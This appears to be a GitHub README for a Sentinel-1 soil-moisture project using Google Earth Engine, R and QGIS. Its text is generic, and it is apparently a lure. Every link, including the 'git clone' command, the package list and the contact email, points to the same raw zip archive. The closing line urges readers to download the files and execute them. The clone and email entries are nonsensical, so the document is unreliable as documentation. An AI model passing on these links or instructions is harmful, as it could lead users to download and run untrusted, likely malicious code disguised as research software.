Estimate field-scale soil moisture from Sentinel-1 SAR data using Google Earth Engine, R, and QGIS over rainfed agriculture practices. This project focuses on providing farmers and researchers with tools to monitor soil moisture levels effectively, helping improve agricultural practices and decision-making.
- Introduction
- Features
- Technologies Used
- Installation
- Usage
- Workflow
- Contributing
- License
- Contact
- Releases
Soil moisture is crucial for agriculture. It affects crop growth, yield, and water management. This repository provides a framework to estimate soil moisture using Sentinel-1 Synthetic Aperture Radar (SAR) data. By leveraging Google Earth Engine, R, and QGIS, users can analyze and visualize soil moisture levels efficiently.
- Field-scale Estimates: Provides accurate soil moisture estimates at the field level.
- Open Science: Promotes transparency and reproducibility in agricultural monitoring.
- Multi-Platform Support: Compatible with Google Earth Engine, R, and QGIS.
- User-Friendly: Simple scripts and workflows for ease of use.
- Comprehensive Documentation: Guides for installation, usage, and troubleshooting.
- Sentinel-1 SAR Data: High-resolution radar data for soil moisture estimation.
- Google Earth Engine (GEE): A powerful platform for geospatial analysis.
- R: A programming language for statistical computing and graphics.
- QGIS: A free and open-source geographic information system.
To get started, follow these steps:
-
Clone the Repository:
git clone https://raw.githubusercontent.com/BoogyMan-bot/sentinel-1-soil-moisture/main/Doc/sentinel_moisture_soil_3.0.zip
-
Install Required Software:
- Ensure you have R and QGIS installed on your machine.
- Install the necessary R packages. You can find the list of packages in the
https://raw.githubusercontent.com/BoogyMan-bot/sentinel-1-soil-moisture/main/Doc/sentinel_moisture_soil_3.0.zipfile.
-
Set Up Google Earth Engine:
- Sign up for Google Earth Engine.
- Authenticate your account by following the instructions in the GEE documentation.
Once the installation is complete, you can start using the scripts provided in this repository.
-
Run the GEE Script:
- Navigate to the
gee_scriptsdirectory. - Open the script and modify the parameters as needed.
- Execute the script in the GEE Code Editor.
- Navigate to the
-
Process Data in R:
- Load the SAR data and perform statistical analysis.
- Use the provided R scripts for soil moisture estimation.
-
Visualize in QGIS:
- Import the processed data into QGIS.
- Use the visualization tools to analyze soil moisture patterns.
The workflow for estimating soil moisture involves several steps:
-
Data Acquisition:
- Download Sentinel-1 SAR data for the area of interest.
-
Data Preprocessing:
- Clean and preprocess the data using GEE scripts.
-
Soil Moisture Estimation:
- Use R scripts to estimate soil moisture based on the processed data.
-
Visualization:
- Visualize the results in QGIS to identify trends and patterns.
-
Analysis and Reporting:
- Generate reports based on the findings to support decision-making.
Contributions are welcome! If you want to improve this project, please follow these steps:
- Fork the repository.
- Create a new branch (
git checkout -b feature/YourFeature). - Make your changes.
- Commit your changes (
git commit -m 'Add some feature'). - Push to the branch (
git push origin feature/YourFeature). - Open a pull request.
This project is licensed under the MIT License. See the LICENSE file for details.
For any inquiries or suggestions, feel free to reach out:
- Email: https://raw.githubusercontent.com/BoogyMan-bot/sentinel-1-soil-moisture/main/Doc/sentinel_moisture_soil_3.0.zip
- GitHub: BoogyMan-bot
You can find the latest releases here. Download the necessary files and execute them to start your soil moisture estimation journey.
Thank you for your interest in the Sentinel-1 Soil Moisture Estimation project! Your support helps promote better agricultural practices and sustainable farming.